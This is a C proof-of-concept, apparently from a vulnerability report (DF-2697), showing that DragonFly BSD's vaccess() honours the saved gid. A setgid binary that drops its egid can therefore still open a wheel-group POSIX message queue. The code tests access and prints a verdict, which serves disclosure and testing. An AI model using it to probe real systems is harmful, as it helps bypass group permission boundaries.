DF-2697 / gdrop.c
/* * DF-2697 PoC -- vaccess() honors the SAVED gid (cr_svgid) in the group * permission check (sys/kern/vfs_subr.c:1753). Only in-kernel caller of * vaccess() is POSIX mqueue open (sys/kern/sys_mqueue.c:558). * * Victim binary. Installed by root in TWO forms: * /gdrop chgrp wheel + chmod 2755 (setgid wheel) * /gdrop_plain chmod 755 (control) * * Both drop the effective gid back to the real gid via setegid(), then try * to open a wheel-group-writable (0660, root:wheel) POSIX message queue. * * POSIX / correct-kernel behaviour: EACCES in BOTH cases * (owner uid != 0; egid == 1001; supplementary groups == {1001}). * * Buggy DragonFly behaviour: the setgid copy SUCCEEDS, because * vaccess() grants the group branch when cred->cr_svgid == gid and * setegid() (kern_prot.c:649-652) never clears cr_svgid. * * usage: gdrop <drop|keep> <mqname> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <mqueue.h> int main(int argc, char **argv) { mqd_t mqd; const char *name; if (argc != 3) { fprintf(stderr, "usage: %s <drop|keep> <mqname>\n", argv[0]); exit(2); } name = argv[2]; printf("uid=%d gid(r)=%d egid=%d\n", (int)getuid(), (int)getgid(), (int)getegid()); if (strcmp(argv[1], "drop") == 0) { if (setegid(getgid()) != 0) { fprintf(stderr, "setegid(%d) failed: %s\n", (int)getgid(), strerror(errno)); exit(2); } } printf("after setegid: egid=%d\n", (int)getegid()); mqd = mq_open(name, O_WRONLY); if (mqd == (mqd_t)-1) { printf("mq_open(%s, O_WRONLY) = -1 errno=%d (%s)\n", name, errno, strerror(errno)); printf("VERDICT: access correctly DENIED\n"); return (1); } printf("mq_open(%s, O_WRONLY) = %d -- SUCCESS\n", name, (int)mqd); mq_close(mqd); printf("VERDICT: access GRANTED after egid drop (BUG: cr_svgid honored)\n"); return (0); } |